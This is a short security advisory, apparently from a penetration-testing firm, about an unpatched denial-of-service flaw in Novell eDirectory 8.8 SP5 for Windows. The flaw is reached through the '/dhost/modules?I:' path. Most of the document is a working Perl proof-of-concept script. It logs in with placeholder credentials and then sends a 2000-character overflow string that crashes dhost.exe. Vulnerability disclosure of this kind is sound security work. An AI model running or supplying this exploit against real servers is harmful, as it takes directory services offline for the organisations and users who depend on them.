Novell eDirectory 8.8 SP5 Denial of Service

[advisory@xxxxxxxxxxxxxx]

Product:
Novell eDirectory 8.8 sp5 for Windows


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Vulnerability:
Denial of Service



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Discussion:
Vulnerability in '/dhost/modules?I:'
Sending long strings to '/dhost/modules?I:' causes a DoS (crashing dhost.exe)
Also in last weeks published another bug in 'modules?L:'
It is not patched yet too..



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Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com



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Original Advisory
www.hackattack.com



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PoC:

#!usr\bin\perl
#Vulnerability has found by HACKATTACK

use WWW::Mechanize; 

use LWP::Debug qw(+);

use HTTP::Cookies;

$address=$ARGV[0]; 


if(!$ARGV[0]){

        print "Usage:perl $0 address\n";
	
exit();
}



$login = "$address/_LOGIN_SERVER_";

$url = "$address/dhost/";

$module = "modules?I:";

$buffer = "A" x 2000;


$vuln = $module.$buffer;

#Edit the username and password.

	  $user = "username";
 
 	  $pass = "password"; 

#Edit the username and password.
 
my $mechanize = WWW::Mechanize->new();


$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));


$mechanize->timeout($url_timeout); 

$res = $mechanize->request(HTTP::Request->new('GET', "$login")); 


    $mechanize->submit_form( 

                  form_name => "authenticator", 

                  fields    => {        
            
                     usr => $user, 

                     pwd => $pass}, 

                     button => 'Login'); 

$response2 = $mechanize->get("$url$vuln");


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